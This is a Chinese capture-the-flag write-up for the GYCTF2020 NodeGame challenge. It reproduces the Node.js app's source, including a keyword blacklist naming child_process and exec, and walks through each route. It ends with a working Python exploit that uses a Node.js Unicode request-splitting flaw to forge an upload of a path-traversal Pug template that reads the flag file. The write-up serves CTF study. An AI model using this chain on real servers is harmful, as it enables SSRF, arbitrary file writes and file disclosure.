# [GYCTF2020]NodeGame-nodejs

源码:

var express = require('express');
var app = express();
var fs = require('fs');
var path = require('path');
var http = require('http');
var pug = require('pug');
var morgan = require('morgan');
const multer = require('multer');
app.use(multer({ dest: './dist' }).array('file'));
app.use(morgan('short'));
app.use("/uploads", express.static(path.join(__dirname, '/uploads')));
app.use("/template", express.static(path.join(__dirname, '/template')));
app.get('/', function(req, res) {
    var action = req.query.action ? req.query.action : "index";
    if (action.includes("/") || action.includes("\\")) {
        res.send("Errrrr, You have been Blocked");
        return;
    }
    var file = path.join(__dirname, '/template/' + action + '.pug');
    var html = pug.renderFile(file);
    res.send(html);
});
app.post('/file_upload', function(req, res) {
    var ip = req.connection.remoteAddress;
    var obj = { msg: '' };
    if (!ip.includes('127.0.0.1')) {
        obj.msg = "only admin's ip can use it";
        res.send(JSON.stringify(obj));
        return;
    }
    fs.readFile(req.files[0].path, function(err, data) {
        if (err) {
            obj.msg = 'upload failed';
            res.send(JSON.stringify(obj));
        } else {
            var file_path = '/uploads/' + req.files[0].mimetype + "/";
            var file_name = req.files[0].originalname;
            var dir_file = __dirname + file_path + file_name;
            if (!fs.existsSync(__dirname + file_path)) {
                try {
                    fs.mkdirSync(__dirname + file_path);
                } catch (error) {
                    obj.msg = "file type error";
                    res.send(JSON.stringify(obj));
                    return;
                }
            }
            try {
                fs.writeFileSync(dir_file, data);
                obj = { msg: 'upload success', filename: file_path + file_name };
            } catch (error) {
                obj.msg = 'upload failed';
            }
            res.send(JSON.stringify(obj));
        }
    });
});
app.get('/source', function(req, res) {
    res.sendFile(path.join(__dirname, '/template/source.txt'));
});
app.get('/core', function(req, res) {
    var q = req.query.q;
    if (q) {
        var url = 'http://localhost:8081/source?' + q;
        console.log(url);
        var trigger = blacklist(url);
        if (trigger === true) {
            res.send("error occurs!");
        } else {
            try {
                http.get(url, function(resp) {
                    resp.setEncoding('utf8');
                    resp.on('error', function(err) {
                        if (err.code === "ECONNRESET") {
                            console.log("Timeout occurs");
                            return;
                        }
                    });
                    resp.on('data', function(chunk) {
                        try {
                            var resps = chunk.toString();
                            res.send(resps);
                        } catch (e) {
                            res.send(e.message);
                        }
                    }).on('error', (e) => {
                        res.send(e.message);
                    });
                });
            } catch (error) {
                console.log(error);
            }
        }
    } else {
        res.send("search param 'q' missing!");
    }
});
function blacklist(url) {
    var evilwords = ["global", "process", "mainModule", "require", "root", "child_process", "exec", "\"", "'", "!"];
    var arrayLen = evilwords.length;
    for (var i = 0; i < arrayLen; i++) {
        const trigger = url.includes(evilwords[i]);
        if (trigger === true) {
            return true;
        }
    }
    return false;
}
var server = app.listen(8081, function() {
    var host = server.address().address;
    var port = server.address().port;
    console.log("Example app listening at http://%s:%s", host, port);
});
 var fs = require('fs');    //导入必要的模块
app.use(multer({dest: './dist'}).array('file'));//设置MUlter来处理文件上传,将文件临时保存道./dist目录中。

四条路线:

路线一(/):

app.get('/', function(req, res) {
    var action = req.query.action ? req.query.action : "index";
    if (action.includes("/") || action.includes("\\")) {
        res.send("Errrrr, You have been Blocked");
    }
    file = path.join(__dirname + '/template/' + action + '.pug');
    var html = pug.renderFile(file);
    res.send(html);
});

第 1 行:定义根的路由 ( / )。它检查是否存在查询参数 ( action );如果不存在,则默认为 "index"

第 2 行:检查操作是否包含 /\ (表示可能的路径遍历尝试)。如果发现,则阻止该请求。

第 3-6 行:根据值构造 Pug 模板的文件路径 action 并呈现文件。呈现的 HTML 作为响应发送。

路线二(/file_upload)

app.post('/file_upload', function(req, res) {
    var ip = req.connection.remoteAddress;
    var obj = { msg: '' };
    if (!ip.includes('127.0.0.1')) {
        obj.msg = "only admin's ip can use it";
        res.send(JSON.stringify(obj));
        return;
    }
    fs.readFile(req.files[0].path, function(err, data) {
        if (err) {
            obj.msg = 'upload failed';
            res.send(JSON.stringify(obj));
        } else {
            var file_path = '/uploads/' + req.files[0].mimetype + "/";
            var file_name = req.files[0].originalname;
            var dir_file = __dirname + file_path + file_name;
            if (!fs.existsSync(__dirname + file_path)) {
                try {
                    fs.mkdirSync(__dirname + file_path);
                } catch (error) {
                    obj.msg = "file type error";
                    res.send(JSON.stringify(obj));
                    return;
                }
            }
            try {
                fs.writeFileSync(dir_file, data);
                obj = { msg: 'upload success', filename: file_path + file_name };
            } catch (error) {
                obj.msg = 'upload failed';
            }
            res.send(JSON.stringify(obj));
        }
    });
});

定义一个 POST 路由( /file_upload ),用于处理文件上传。

检索客户端的 IP 地址。

检查 IP 地址是否包含 127.0.0.1 。如果不包含,则阻止请求,仅允许本地主机访问。

读取上传的文件并根据其 mimetype 进行存储。如果该文件类型的目录不存在,则创建一个。然后将文件写入适当的位置。

如果在文件读取或写入过程中发生任何错误,则会以 JSON 形式发送相应的错误消息。

路线三(/source):

app.get('/source', function(req, res) {
    res.sendFile(path.join(__dirname + '/template/source.txt'));
});

定义一个路由 ( /source ),从目录中提供静态文件 ( source.txt ) /template

路线四(/core):

app.get('/core', function(req, res) {
    var q = req.query.q;
    var resp = "";
    if (q) {
        var url = 'http://localhost:8081/source?' + q;
        console.log(url);
        var trigger = blacklist(url);
        if (trigger === true) {
            res.send("error occurs!");
        } else {
            try {
                http.get(url, function(resp) {
                    resp.setEncoding('utf8');
                    resp.on('error', function(err) {
                        if (err.code === "ECONNRESET") {
                            console.log("Timeout occurs");
                            return;
                        }
                    });
                    resp.on('data', function(chunk) {
                        try {
                            resps = chunk.toString();
                            res.send(resps);
                        } catch (e) {
                            res.send(e.message);
                        }
                    }).on('error', (e) => {
                        res.send(e.message);
                    });
                });
            } catch (error) {
                console.log(error);
            }
        }
    } else {
        res.send("search param 'q' missing!");
    }
});

/core 定义一个接受查询参数()的路由( ) q

使用构造一个 URL q ,并根据可能表明恶意的关键字黑名单进行检查。

如果黑名单检查通过,它会对构造的 URL 执行 HTTP GET 请求并返回响应。否则,它会发送错误消息。

blacklist 函数功能:

function blacklist(url) {
    var evilwords = ["global", "process", "mainModule", "require", "root", "child_process", "exec", "\"", "'", "!"];
    var arrayLen = evilwords.length;
    for (var i = 0; i < arrayLen; i++) {
        const trigger = url.includes(evilwords[i]);
        if (trigger === true) {
            return true;
        }
    }
}

用于检查 URL 是否包含与潜在恶意行为相关的任何关键字。如果发现任何关键字,则返回 true

nodejs 在版本号小于 8.x 的时候存在 unicode 字符损坏导致的漏洞,而这个题目的版本刚好对的上(但是 buu 上的这个题并没有说版本),简单来说就是 Unicode 在解析的时候由于解码的类型问题导致部分被截断,字符出现变形,而原字符并非会被转义的危险字符造成的安全漏洞,具体就是先知社区这篇文章
https://xz.aliyun.com/t/2894#toc-2

构造:

所以构造一下payload,通过换行符使得服务器在core中发出的一次http请求变成两次,并且第二次请求内容我们完全可控
可以先去upload目录上传文件抓一个包作为文件上传的模板

参考脚本:

import urllib.parse
import requests

payload = ''' HTTP/1.1
Host: f
Connection: keep-alive

POST /file_upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryO9LPoNAg9lWRUItA
Content-Length: {}
cache-control: no-cache
X-Forwarded-For: 127.0.0.1
Connection: keep-alive 

{}'''
body='''------WebKitFormBoundaryO9LPoNAg9lWRUItA
Content-Disposition: form-data; name="file"; filename="lmonstergg.pug"
Content-Type: ../template

doctype html
html
  head
    style
      include ../../../../../../../flag.txt
------WebKitFormBoundaryO9LPoNAg9lWRUItA--
'''
more='''

GET /flag HTTP/1.1
Host: f
Connection: close
f:'''
payload = payload.format(len(body)+10,body)+more
print(payload)
payload = payload.replace("\n", "\r\n")

payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
print('                                       ')
print(payload)


session = requests.Session()
session.trust_env = False
session.get('http://668981f4-ba71-4a2c-bc99-267eb35d24f0.node5.buuoj.cn:81/core?q=' + urllib.parse.quote(payload))
response = session.get('http://668981f4-ba71-4a2c-bc99-267eb35d24f0.node5.buuoj.cn:81/?action=lmonstergg')
print(response.text)